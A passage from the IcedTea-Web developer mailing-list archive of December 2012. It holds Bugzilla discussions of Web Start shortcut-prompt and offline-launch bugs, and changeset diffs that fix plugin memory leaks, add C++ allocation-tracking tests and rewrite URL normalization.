= new SunSwingDemo(); + Assert.assertNotNull(s1.getUrl()); + RemoteApplicationTestcaseSettings s6 = new ArboresDeposit(); + Assert.assertNotNull(s6.getUrl()); + RemoteApplicationTestcaseSettings s7 = new OrawebCernCh(); From bugzilla-daemon at icedtea.classpath.org Thu Dec 20 08:15:20 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Thu, 20 Dec 2012 16:15:20 +0000 Subject: [Bug 725] JNLP applications will prompt for creating desktop shortcuts every time they are run In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 Toni Spets changed: What |Removed |Added ---------------------------------------------------------------------------- CC| |toni.spets at iki.fi Severity|normal |major --- Comment #3 from Toni Spets --- Still exists today in current hg. This ends up in very bad user experience when launching Web Start applications. The "Always allow" check box is grayed out so you can't even make an exception for a single program. As long as the icon is on the desktop (.desktop file exists), it should not prompt. Added bonus points for caching the answer anyway so if someone just does not want the icon it will remember it until the cache is cleared. I can't from the top of my head confirm how Oracle handles this in their implementation. It's been over one and a half year since this UX bug was reported, seriously, get this done. The reporter even made a patch! I'm bumping this to 'major' because the very least someone notices this bug exists and tells me I shouldn't touch priority. User experience is everything. IcedTea looks really bad if it fails even in the most simple things that are visible to the user. This is coming from a Web Start developer who would really much like that people who use OpenJDK with IcedTea as it is the default install for most Linux distributions get a good out-of-box experience. Please, fix this. -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121220/c5cbedf8/attachment.html From bugzilla-daemon at icedtea.classpath.org Thu Dec 20 08:26:12 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Thu, 20 Dec 2012 16:26:12 +0000 Subject: [Bug 1245] New: Offline launching from a shortcut results in fatal error Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1245 Bug ID: 1245 Summary: Offline launching from a shortcut results in fatal error Classification: Unclassified Product: IcedTea-Web Version: hg Hardware: x86_64 OS: Linux Status: NEW Severity: major Priority: P3 Component: NetX (javaws) Assignee: omajid at redhat.com Reporter: toni.spets at iki.fi CC: unassigned at icedtea.classpath.org After a Web Start application has been successfully launched for the first time and a desktop shortcut is created, launching without Internet connection results in 'Fatal: Read Error: Could not read or parse the JNLP file.". The error itself is more generic and there already exists a bug for another thing that triggers it. However, this comes from a system that is not connected to the internet at launch time. The local JNLP file is fine, all JAR files are cached properly but IcedTea insists on downloading the JNLP file over the network and when it fails it fails bad. Related bug is http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=906 which talks about the JAR files that are already cached but are still redownloaded after the JNLP file. The bugs can be merged if the underlying cause is the same. It would be nice if IcedTea could sense through DBus or something if there is supposed to be an active connection and fail fast when there are not to improve offline experience by having fast startup times. That would be completely optional of course if NetworkManager is active which is the case for most desktop Linux distributions today. This is a complete blocker for usability and makes IcedTea completely unusable offline which kills an important part of Web Start that makes it so useful as an update channel for offline software. -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121220/2ba2df38/attachment.html From adomurad at icedtea.classpath.org Thu Dec 20 08:31:10 2012 From: adomurad at icedtea.classpath.org (adomurad at icedtea.classpath.org) Date: Thu, 20 Dec 2012 16:31:10 +0000 Subject: /hg/icedtea-web: 2 new changesets Message-ID: changeset 6251ec285570 in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=6251ec285570 author: Adam Domurad date: Thu Dec 20 11:28:28 2012 -0500 C++ unit testing: Add a tracked-allocation implementation of operator-new Two tests that catch memory leaks are also added. For the purposes of verifying the patch works, the fix is in a separate changeset. changeset 2b2073cc9a19 in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=2b2073cc9a19 author: Adam Domurad date: Thu Dec 20 11:11:05 2012 -0500 Fix 2 memory leaks, pass corresponding C++ unit tests diffstat: ChangeLog | 27 ++++- plugin/icedteanp/IcedTeaScriptablePluginObject.cc | 4 +- tests/cpp-unit-tests/IcedTeaScriptablePluginObjectTest.cc | 66 ++++++++++++ tests/cpp-unit-tests/browser_mock.cc | 22 +++- tests/cpp-unit-tests/checked_allocations.cc | 77 +++++++++++++++ tests/cpp-unit-tests/checked_allocations.h | 54 ++++++++++ tests/cpp-unit-tests/main.cc | 24 ++++- 7 files changed, 264 insertions(+), 10 deletions(-) diffs (392 lines): diff -r 18ee1b8417d8 -r 2b2073cc9a19 ChangeLog --- a/ChangeLog Thu Dec 20 17:10:38 2012 +0100 +++ b/ChangeLog Thu Dec 20 11:11:05 2012 -0500 @@ -1,4 +1,25 @@ -2012-12-18 Jiri Vanek +2012-12-20 Adam Domurad + + * plugin/icedteanp/IcedTeaScriptablePluginObject.cc + (IcedTeaScriptableJavaObject::deAllocate): Fix memory leak + (IcedTeaScriptableJavaPackageObject::deAllocate): Fix memory leak + +2012-12-20 Adam Domurad + + * tests/cpp-unit-tests/browser_mock.cc + (mock_retainobject): New, mocks behaviour of NPAPI retainobject + (mock_releaseobject): New, mocks behaviour of NPAPI releaseobject + * tests/cpp-unit-tests/main.cc: Add warning of memory leak based on + operator-new. + * tests/cpp-unit-tests/IcedTeaScriptablePluginObjectTest.cc: New, tests + for memory leak in (IcedTeaScriptableJavaObject::deAllocate) and + (IcedTeaScriptableJavaPackageObject::deAllocate) + * tests/cpp-unit-tests/checked_allocations.h: Defines set that does not + use operator-new, to prevent recursion in overloaded operator-new + * tests/cpp-unit-tests/checked_allocations.cc: Operator new overload + that has allocation-set for querying live allocations. + +2012-12-20 Jiri Vanek Added and applied Remote annotation, added Remote tests: * tests/report-styles/jreport.xsl: and @@ -13,9 +34,7 @@ launcher for remote tests. * tests/test-extensions/net/sourceforge/jnlp/annotations/Remote.java: Implementation of Remote annotation - - - + 2012-12-18 Jiri Vanek Cleaned unit-tests: diff -r 18ee1b8417d8 -r 2b2073cc9a19 plugin/icedteanp/IcedTeaScriptablePluginObject.cc --- a/plugin/icedteanp/IcedTeaScriptablePluginObject.cc Thu Dec 20 17:10:38 2012 +0100 +++ b/plugin/icedteanp/IcedTeaScriptablePluginObject.cc Thu Dec 20 11:11:05 2012 -0500 @@ -197,7 +197,7 @@ void IcedTeaScriptableJavaPackageObject::deAllocate(NPObject *npobj) { - browser_functions.releaseobject(npobj); + delete (IcedTeaScriptableJavaPackageObject*)npobj; } void @@ -489,7 +489,7 @@ void IcedTeaScriptableJavaObject::deAllocate(NPObject *npobj) { - browser_functions.releaseobject(npobj); + delete (IcedTeaScriptableJavaObject*)npobj; } void diff -r 18ee1b8417d8 -r 2b2073cc9a19 tests/cpp-unit-tests/IcedTeaScriptablePluginObjectTest.cc --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/cpp-unit-tests/IcedTeaScriptablePluginObjectTest.cc Thu Dec 20 11:11:05 2012 -0500 @@ -0,0 +1,66 @@ +/* Copyright (C) 2012 Red Hat + + This file is part of IcedTea. + + IcedTea is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2, or (at your option) + any later version. + + IcedTea is distributed in the hope that it will be useful, but + WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + General Public License for more details. + + You should have received a copy of the GNU General Public License + along with IcedTea; see the file COPYING. If not, write to the + Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA + 02110-1301 USA. + + Linking this library statically or dynamically with other modules is + making a combined work based on this library. Thus, the terms and + conditions of the GNU General Public License cover the whole + combination. + + As a special exception, the copyright holders of this library give you + permission to link this library with independent modules to produce an + executable, regardless of the license terms of these independent + modules, and to copy and distribute the resulting executable under + terms of your choice, provided that you also meet, for each linked + independent module, the terms and conditions of the license of that + module. An independent module is a module which is not derived from + or based on this library. If you modify this library, you may extend + this exception to your version of the library, but you are not + obligated to do so. If you do not wish to do so, delete this + exception statement from your version. */ + +#include + +#include + +#include "browser_mock.h" +#include "checked_allocations.h" + +#include "IcedTeaScriptablePluginObject.h" + +SUITE(IcedTeaScriptableJavaObject) { + TEST(deallocate) { + int pre_allocations = cpp_unfreed_allocations(); + IcedTeaScriptableJavaObject* obj = new IcedTeaScriptableJavaObject(NULL); + IcedTeaScriptableJavaObject::deAllocate(obj); + int post_allocations = cpp_unfreed_allocations(); + + CHECK(pre_allocations == post_allocations); + } +} + +SUITE(IcedTeaScriptableJavaPackageObject) { + TEST(deallocate) { + int pre_allocations = cpp_unfreed_allocations(); + IcedTeaScriptableJavaPackageObject* obj = new IcedTeaScriptableJavaPackageObject(NULL); + IcedTeaScriptableJavaPackageObject::deAllocate(obj); + int post_allocations = cpp_unfreed_allocations(); + + CHECK(pre_allocations == post_allocations); + } +} diff -r 18ee1b8417d8 -r 2b2073cc9a19 tests/cpp-unit-tests/browser_mock.cc --- a/tests/cpp-unit-tests/browser_mock.cc Thu Dec 20 17:10:38 2012 +0100 +++ b/tests/cpp-unit-tests/browser_mock.cc Thu Dec 20 11:11:05 2012 -0500 @@ -37,7 +37,7 @@ // Browser mock functions. Add more as needed. #include -#include +#include "checked_allocations.h" #include "UnitTest++.h" @@ -45,7 +45,7 @@ #include "IcedTeaNPPlugin.h" -static std::set __allocations; +static AllocationSet __allocations; // It is expected that these will only run during a unit test static void* mock_memalloc(uint32_t size) { @@ -63,11 +63,29 @@ } } +static NPObject* mock_retainobject(NPObject* obj) { + obj->referenceCount++; + return obj; +} + +static void mock_releaseobject(NPObject* obj) { + if (--(obj->referenceCount) == 0) { + if (obj->_class->deallocate) { + obj->_class->deallocate(obj); + } else { + free(obj); + } + } +} + void browsermock_setup_functions() { memset(&browser_functions, 0, sizeof(NPNetscapeFuncs)); browser_functions.memalloc = &mock_memalloc; browser_functions.memfree = &mock_memfree; + + browser_functions.retainobject = &mock_retainobject; + browser_functions.releaseobject= &mock_releaseobject; } void browsermock_clear_state() { diff -r 18ee1b8417d8 -r 2b2073cc9a19 tests/cpp-unit-tests/checked_allocations.cc --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/cpp-unit-tests/checked_allocations.cc Thu Dec 20 11:11:05 2012 -0500 @@ -0,0 +1,77 @@ +/* Copyright (C) 2012 Red Hat + + This file is part of IcedTea. + + IcedTea is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2, or (at your option) + any later version. + + IcedTea is distributed in the hope that it will be useful, but + WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + General Public License for more details. + + You should have received a copy of the GNU General Public License + along with IcedTea; see the file COPYING. If not, write to the + Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA + 02110-1301 USA. + + Linking this library statically or dynamically with other modules is + making a combined work based on this library. Thus, the terms and + conditions of the GNU General Public License cover the whole + combination. + + As a special exception, the copyright holders of this library give you + permission to link this library with independent modules to produce an + executable, regardless of the license terms of these independent + modules, and to copy and distribute the resulting executable under + terms of your choice, provided that you also meet, for each linked + independent module, the terms and conditions of the license of that + module. An independent module is a module which is not derived from + or based on this library. If you modify this library, you may extend + this exception to your version of the library, but you are not + obligated to do so. If you do not wish to do so, delete this + exception statement from your version. */ + +// Overrides global 'new' operator with one that does error checking. + +#include + +#include +#include "checked_allocations.h" + +// We keep a set of allocations, that, for obvious reasons, does not itself use the 'new' operator. +static AllocationSet* __allocations = NULL; + +// Override global definition of new and delete! +void* operator new(size_t size) throw (std::bad_alloc) { + if (!__allocations) { + // This uses placement-new, which calls the constructor on a specific memory location + // This is needed because we cannot call 'new' in this context, nor can we rely on static-initialization + // for the set to occur before any call to 'new'! + void* memory = malloc(sizeof(AllocationSet)); + __allocations = new (memory) AllocationSet(); + } + + void* mem = malloc(size); + if (mem == 0) { + throw std::bad_alloc(); // ANSI/ISO compliant behavior + } + __allocations->insert(mem); + return mem; +} + +void operator delete(void* ptr) throw () { + if (__allocations->erase(ptr)) { + free(ptr); + } else { + printf( + "Attempt to free memory with operator 'delete' that was not allocated by 'new'!\n"); + CHECK(false); + } +} + +int cpp_unfreed_allocations() { + return __allocations->size(); +} diff -r 18ee1b8417d8 -r 2b2073cc9a19 tests/cpp-unit-tests/checked_allocations.h --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/cpp-unit-tests/checked_allocations.h Thu Dec 20 11:11:05 2012 -0500 @@ -0,0 +1,54 @@ +/* Copyright (C) 2012 Red Hat + + This file is part of IcedTea. + + IcedTea is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2, or (at your option) + any later version. + + IcedTea is distributed in the hope that it will be useful, but + WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + General Public License for more details. + + You should have received a copy of the GNU General Public License + along with IcedTea; see the file COPYING. If not, write to the + Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA + 02110-1301 USA. + + Linking this library statically or dynamically with other modules is + making a combined work based on this library. Thus, the terms and + conditions of the GNU General Public License cover the whole + combination. + + As a special exception, the copyright holders of this library give you + permission to link this library with independent modules to produce an + executable, regardless of the license terms of these independent + modules, and to copy and distribute the resulting executable under + terms of your choice, provided that you also meet, for each linked + independent module, the terms and conditions of the license of that + module. An independent module is a module which is not derived from + or based on this library. If you modify this library, you may extend + this exception to your version of the library, but you are not + obligated to do so. If you do not wish to do so, delete this + exception statement from your version. */ + +// Overrides global 'new' operator with one that does error checking. + +#ifndef CHECKED_ALLOCATIONS_H_ +#define CHECKED_ALLOCATIONS_H_ + +#include +#include +#include +#include +#include +#include //GNU extension + +// Plays nice with custom-defined operator new +typedef std::set, __gnu_cxx::malloc_allocator > AllocationSet; + +int cpp_unfreed_allocations(); + +#endif /* CHECKED_ALLOCATIONS_H_ */ diff -r 18ee1b8417d8 -r 2b2073cc9a19 tests/cpp-unit-tests/main.cc --- a/tests/cpp-unit-tests/main.cc Thu Dec 20 17:10:38 2012 +0100 +++ b/tests/cpp-unit-tests/main.cc Thu Dec 20 11:11:05 2012 -0500 @@ -43,9 +43,19 @@ #include #include "browser_mock.h" +#include "checked_allocations.h" using namespace UnitTest; +static std::string full_testname(const TestDetails& details) { + std::string suite = details.suiteName; + if (suite == "DefaultSuite") { + return details.testName; + } else { + return suite + "." + details.testName; + } +} + class IcedteaWebUnitTestReporter: public TestReporter { public: @@ -57,13 +67,15 @@ virtual void ReportTestStart(const TestDetails& test) { browsermock_clear_state(); + pretest_allocs = cpp_unfreed_allocations(); did_finish_correctly = true; } virtual void ReportFailure(const TestDetails& details, char const* failure) { + std::string testname = full_testname(details); - printf("FAILED: %s line %d (%s)\n", details.testName, + printf("FAILED: %s line %d (%s)\n", testname.c_str(), details.lineNumber, failure); did_finish_correctly = false; @@ -72,13 +84,20 @@ virtual void ReportTestFinish(const TestDetails& details, float secondsElapsed) { + int posttest_allocs = cpp_unfreed_allocations(); + if (browsermock_unfreed_allocations() > 0) { printf("*** WARNING: Memory leak! %d more NPAPI allocations than frees!\n", browsermock_unfreed_allocations()); } + if (posttest_allocs > pretest_allocs) { + printf("*** WARNING: Memory leak! %d more operator 'new' allocations than 'delete's!\n", + posttest_allocs - pretest_allocs); + } if (did_finish_correctly) { - printf("Passed: %s\n", details.testName); + std::string testname = full_testname(details); + printf("Passed: %s\n", testname.c_str()); } } @@ -95,6 +114,7 @@ } private: + int pretest_allocs; bool did_finish_correctly; }; From bugzilla-daemon at icedtea.classpath.org Thu Dec 20 08:54:16 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Thu, 20 Dec 2012 16:54:16 +0000 Subject: [Bug 725] JNLP applications will prompt for creating desktop shortcuts every time they are run In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 bch at o2.co.uk changed: What |Removed |Added ---------------------------------------------------------------------------- CC| |bch at o2.co.uk --- Comment #4 from bch at o2.co.uk --- (In reply to comment #3) > Still exists today in current hg. > > This ends up in very bad user experience when launching Web Start > applications. The "Always allow" check box is grayed out so you can't even > make an exception for a single program. > > As long as the icon is on the desktop (.desktop file exists), it should not > prompt. Added bonus points for caching the answer anyway so if someone just > does not want the icon it will remember it until the cache is cleared. I > can't from the top of my head confirm how Oracle handles this in their > implementation. > > It's been over one and a half year since this UX bug was reported, > seriously, get this done. The reporter even made a patch! > > I'm bumping this to 'major' because the very least someone notices this bug > exists and tells me I shouldn't touch priority. User experience is > everything. IcedTea looks really bad if it fails even in the most simple > things that are visible to the user. > > This is coming from a Web Start developer who would really much like that > people who use OpenJDK with IcedTea as it is the default install for most > Linux distributions get a good out-of-box experience. > > Please, fix this. I hadnt spotted that. More importantly perhaps, 'web start' also downloads the app each time and does not respect that it may be cached. This uses unnecessary bandwidth and creates traffic. I had this confirmed a few days ago when I asked why my web start app. kept downloading each time. Temporarily I have switched to using Sun Java, but I too would prefer to go back to openjdk. I had considered if I could help out as lets face it, a lot of the work is carried out by [dare i say unpaid] contributors. The learning curve of iced-tea etc is so steep however for it to be a realistic proposition without assistance. I wait with anticipation of all these things being brought into line and fully featured. -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121220/71a821d7/attachment.html From bugzilla-daemon at icedtea.classpath.org Thu Dec 20 09:18:25 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Thu, 20 Dec 2012 17:18:25 +0000 Subject: [Bug 725] JNLP applications will prompt for creating desktop shortcuts every time they are run In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 Adam Domurad changed: What |Removed |Added ---------------------------------------------------------------------------- CC| |adomurad at redhat.com --- Comment #5 from Adam Domurad --- (In reply to comment #3) > It's been over one and a half year since this UX bug was reported, > seriously, get this done. The reporter even made a patch! Just to be clear, he's also an IcedTea hacker. > > I'm bumping this to 'major' because the very least someone notices this bug > exists and tells me I shouldn't touch priority. User experience is > everything. IcedTea looks really bad if it fails even in the most simple > things that are visible to the user. I'm fine with it being major, but please note that our developer resources are pretty limited. You can see the IcedTea activity on http://mail.openjdk.java.net/pipermail/distro-pkg-dev/. The majority of the focus is on OpenJDK proper. > > This is coming from a Web Start developer who would really much like that > people who use OpenJDK with IcedTea as it is the default install for most > Linux distributions get a good out-of-box experience. Nice to see that webstart developers are looking at this :) > > Please, fix this. I'll look into it sometime soon. -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121220/e4b915e5/attachment.html From bugzilla-daemon at icedtea.classpath.org Thu Dec 20 09:27:03 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Thu, 20 Dec 2012 17:27:03 +0000 Subject: [Bug 725] JNLP applications will prompt for creating desktop shortcuts every time they are run In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 --- Comment #6 from Toni Spets --- (In reply to comment #5) > (In reply to comment #3) > > It's been over one and a half year since this UX bug was reported, > > seriously, get this done. The reporter even made a patch! > > Just to be clear, he's also an IcedTea hacker. > Noticed that just after I commented. My bad. > > > > I'm bumping this to 'major' because the very least someone notices this bug > > exists and tells me I shouldn't touch priority. User experience is > > everything. IcedTea looks really bad if it fails even in the most simple > > things that are visible to the user. > > I'm fine with it being major, but please note that our developer resources > are pretty limited. You can see the IcedTea activity on > http://mail.openjdk.java.net/pipermail/distro-pkg-dev/. The majority of the > focus is on OpenJDK proper. I understand this, but as most of these UX bugs are trivial (at least *I* think so) it just baffles me that something so visible to the end user is left broken for over 1.5 years from the original bug report when the hacker even made a patch for it. > > > > > This is coming from a Web Start developer who would really much like that > > people who use OpenJDK with IcedTea as it is the default install for most > > Linux distributions get a good out-of-box experience. > > Nice to see that webstart developers are looking at this :) > Just to be clear, I'm not working for Oracle, I just deploy Web Start applications as it has been a great choice for cross-platform stuff and IcedTea is a great project to bring Web Start to more platforms and architectures than Oracle could ever do. > > > > Please, fix this. > > I'll look into it sometime soon. Thank you. Very much appreciated. -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121220/11297e8f/attachment.html From bugzilla-daemon at icedtea.classpath.org Thu Dec 20 11:54:21 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Thu, 20 Dec 2012 19:54:21 +0000 Subject: [Bug 725] JNLP applications will prompt for creating desktop shortcuts every time they are run In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 --- Comment #7 from Adam Domurad --- (In reply to comment #4) > > I hadnt spotted that. > More importantly perhaps, 'web start' also downloads the app each time and > does not respect that it may be cached. This uses unnecessary bandwidth and > creates traffic. I had this confirmed a few days ago when I asked why my web > start app. kept downloading each time. Temporarily I have switched to using > Sun Java, but I too would prefer to go back to openjdk. I'll look into it too, although I don't know how much time I'll have before the new year. > > I had considered if I could help out as lets face it, a lot of the work is > carried out by [dare i say unpaid] contributors. The learning curve of > iced-tea etc is so steep however for it to be a realistic proposition > without assistance. It's all relative, but the learning curve of icedtea-web is a lot more mild than OpenJDK. icedtea-web is very JDK-neutral and 99% java itself. As for unpaid contributors, I am thankfully paid to work on icedtea-web. That being said you shouldn't feel bad for asking for assistance! And it'd be greatly appreciated, the icedtea-web TODO list never seems to gets shorter :) > > I wait with anticipation of all these things being brought into line and > fully featured. -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121220/2948f091/attachment.html From smohammad at icedtea.classpath.org Thu Dec 20 12:46:53 2012 From: smohammad at icedtea.classpath.org (smohammad at icedtea.classpath.org) Date: Thu, 20 Dec 2012 20:46:53 +0000 Subject: /hg/icedtea-web: PR909: URL is invalid after normalization Message-ID: changeset 95fc28e972ad in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=95fc28e972ad author: Saad Mohammad date: Thu Dec 20 15:46:26 2012 -0500 PR909: URL is invalid after normalization diffstat: ChangeLog | 6 + NEWS | 1 + netx/net/sourceforge/jnlp/cache/ResourceTracker.java | 113 ++---------------- 3 files changed, 21 insertions(+), 99 deletions(-) diffs (168 lines): diff -r 2b2073cc9a19 -r 95fc28e972ad ChangeLog --- a/ChangeLog Thu Dec 20 11:11:05 2012 -0500 +++ b/ChangeLog Thu Dec 20 15:46:26 2012 -0500 @@ -1,3 +1,9 @@ +2012-12-20 Saad Mohammad + + Fix PR909 - URL is invalid after normalization. + * netx/net/sourceforge/jnlp/cache/ResourceTracker.java (normalizeUrl): + Converts the URL to an URI object which handles all percent encodings. + 2012-12-20 Adam Domurad * plugin/icedteanp/IcedTeaScriptablePluginObject.cc diff -r 2b2073cc9a19 -r 95fc28e972ad NEWS --- a/NEWS Thu Dec 20 11:11:05 2012 -0500 +++ b/NEWS Thu Dec 20 15:46:26 2012 -0500 @@ -28,6 +28,7 @@ - PR1161: X509VariableTrustManager does not work correctly with OpenJDK7 - PR822: Applets fail to load if jars have different signers - PR1186: System.getProperty("deployment.user.security.trusted.cacerts") is null + - PR909: The Java applet at http://de.gosupermodel.com/games/wardrobegame.jsp fails New in release 1.3 (2012-XX-XX): * NetX diff -r 2b2073cc9a19 -r 95fc28e972ad netx/net/sourceforge/jnlp/cache/ResourceTracker.java --- a/netx/net/sourceforge/jnlp/cache/ResourceTracker.java Thu Dec 20 11:11:05 2012 -0500 +++ b/netx/net/sourceforge/jnlp/cache/ResourceTracker.java Thu Dec 20 15:46:26 2012 -0500 @@ -27,10 +27,11 @@ import java.io.UnsupportedEncodingException; import java.net.HttpURLConnection; import java.net.MalformedURLException; +import java.net.URI; +import java.net.URISyntaxException; import java.net.URL; import java.net.URLConnection; import java.net.URLDecoder; -import java.net.URLEncoder; import java.security.AccessController; import java.security.PrivilegedAction; import java.util.ArrayList; @@ -1143,115 +1144,29 @@ } }; - private static String normalizeChunk(String base, boolean debug) throws UnsupportedEncodingException { - if (base == null) { - return base; - } - if ("".equals(base)) { - return base; - } - String result = base; - String ssE = URLDecoder.decode(base, UTF8); - // System.out.println("*" + base + "*"); - // System.out.println("-" + ssE + "-"); - if (base.equals(ssE)) { - result = URLEncoder.encode(base, UTF8); - if (debug) { - System.out.println(base + " chunk needs to be encoded => " + result); - } - } else { - if (debug) { - System.out.println(base + " chunk already encoded"); - } - } - return result; - } - - public static URL normalizeUrl(URL u, boolean debug) throws MalformedURLException, UnsupportedEncodingException { + public static URL normalizeUrl(URL u, boolean debug) throws MalformedURLException, UnsupportedEncodingException, URISyntaxException { if (u == null) { return null; } String protocol = u.getProtocol(); + if (protocol == null || "file".equals(protocol)) { return u; } - String file = u.getPath(); - if (file == null) { + + if (u.getPath() == null) { return u; } - String host = u.getHost(); - String ref = u.getRef(); - int port = u.getPort(); - String query = u.getQuery(); - String[] qq = {}; - if (query != null) { - qq = query.split(QUERY_DELIMITER); - } - String[] ss = file.split(PATH_DELIMITER); - int normalized = 0; - if (debug) { - System.out.println("normalizing path " + file + " in " + u.toString()); - } - for (int i = 0; i < ss.length; i++) { - String base = ss[i]; - String r = normalizeChunk(base, debug); - if (!r.equals(ss[i])) { - normalized++; - } - ss[i] = r; - } - if (debug) { - System.out.println("normalizing query " + query + " in " + u.toString()); - } - for (int i = 0; i < qq.length; i++) { - String base = qq[i]; - String r = normalizeChunk(base, debug); - if (!r.equals(qq[i])) { - normalized++; - } - qq[i] = r; - } - if (normalized == 0) { - if (debug) { - System.out.println("Nothing was normalized in this url"); - } - return u; - } else { - if (debug) { - System.out.println(normalized + " chunks normalized, rejoining url"); - } - } - StringBuilder composed = new StringBuilder(""); - for (int i = 0; i < ss.length; i++) { - String string = ss[i]; - if (ss.length <= 1 || (string != null && !"".equals(string))) { - composed.append(PATH_DELIMITER_MARK).append(string); - } - } - String composed1 = composed.toString(); - if (query != null && !query.trim().equals("")) { - composed.append(QUERY_MARK); - for (int i = 0; i < qq.length; i++) { - String string = qq[i]; - if ((string != null && !"".equals(string))) { - composed.append(string); - if (i != qq.length - 1) { - composed.append(QUERY_DELIMITER_MARK); - } - } - } - } - String composed2 = composed.substring(composed1.length() - 1); - if (ref != null && !ref.trim().equals("")) { - composed.append(HREF_MARK).append(ref); - } - URL result = new URL(protocol, host, port, composed.toString()); + //Decode the URL before encoding + URL decodedURL = new URL(URLDecoder.decode(u.toString(), UTF8)); - if (debug) { - System.out.println("normalized `" + composed1 + "` and `" + composed2 + "` in " + result.toString()); - } - return result; + //Create URI with the decoded URL + URI uri = new URI(decodedURL.getProtocol(), null, decodedURL.getHost(), decodedURL.getPort(), decodedURL.getPath(), decodedURL.getQuery(), null); + //Returns the encoded URL + URL encodedURL = new URL(uri.toASCIIString()); + + return encodedURL; } } From bugzilla-daemon at icedtea.classpath.org Thu Dec 20 12:47:15 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Thu, 20 Dec 2012 20:47:15 +0000 Subject: [Bug 909] The Java applet at http://de.gosupermodel.com/games/wardrobegame.jsp fails. In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=909 --- Comment #4 from hg commits --- details: http://icedtea.classpath.org//hg/icedtea-web?cmd=changeset;node=95fc28e972ad author: Saad Mohammad date: Thu Dec 20 15:46:26 2012 -0500 PR909: URL is invalid after normalization -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121220/c7105d7f/attachment.html From smohammad at icedtea.classpath.org Thu Dec 20 12:52:12 2012 From: smohammad at icedtea.classpath.org (smohammad at icedtea.classpath.org) Date: Thu, 20 Dec 2012 20:52:12 +0000 Subject: /hg/icedtea-web: PR909: Unit test fix Message-ID: changeset 4d294d8ea881 in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=4d294d8ea881 author: Saad Mohammad date: Thu Dec 20 15:51:45 2012 -0500 PR909: Unit test fix diffstat: ChangeLog | 5 ++++ tests/netx/unit/net/sourceforge/jnlp/cache/ResourceTrackerTest.java | 12 +++++---- 2 files changed, 12 insertions(+), 5 deletions(-) diffs (60 lines): diff -r 95fc28e972ad -r 4d294d8ea881 ChangeLog --- a/ChangeLog Thu Dec 20 15:46:26 2012 -0500 +++ b/ChangeLog Thu Dec 20 15:51:45 2012 -0500 @@ -1,3 +1,8 @@ +2012-12-20 Saad Mohammad + + * tests/netx/unit/net/sourceforge/jnlp/cache/ResourceTrackerTest.java: + Added test and changes to work better with PR909 fix. + 2012-12-20 Saad Mohammad Fix PR909 - URL is invalid after normalization. diff -r 95fc28e972ad -r 4d294d8ea881 tests/netx/unit/net/sourceforge/jnlp/cache/ResourceTrackerTest.java --- a/tests/netx/unit/net/sourceforge/jnlp/cache/ResourceTrackerTest.java Thu Dec 20 15:46:26 2012 -0500 +++ b/tests/netx/unit/net/sourceforge/jnlp/cache/ResourceTrackerTest.java Thu Dec 20 15:51:45 2012 -0500 @@ -38,6 +38,7 @@ import 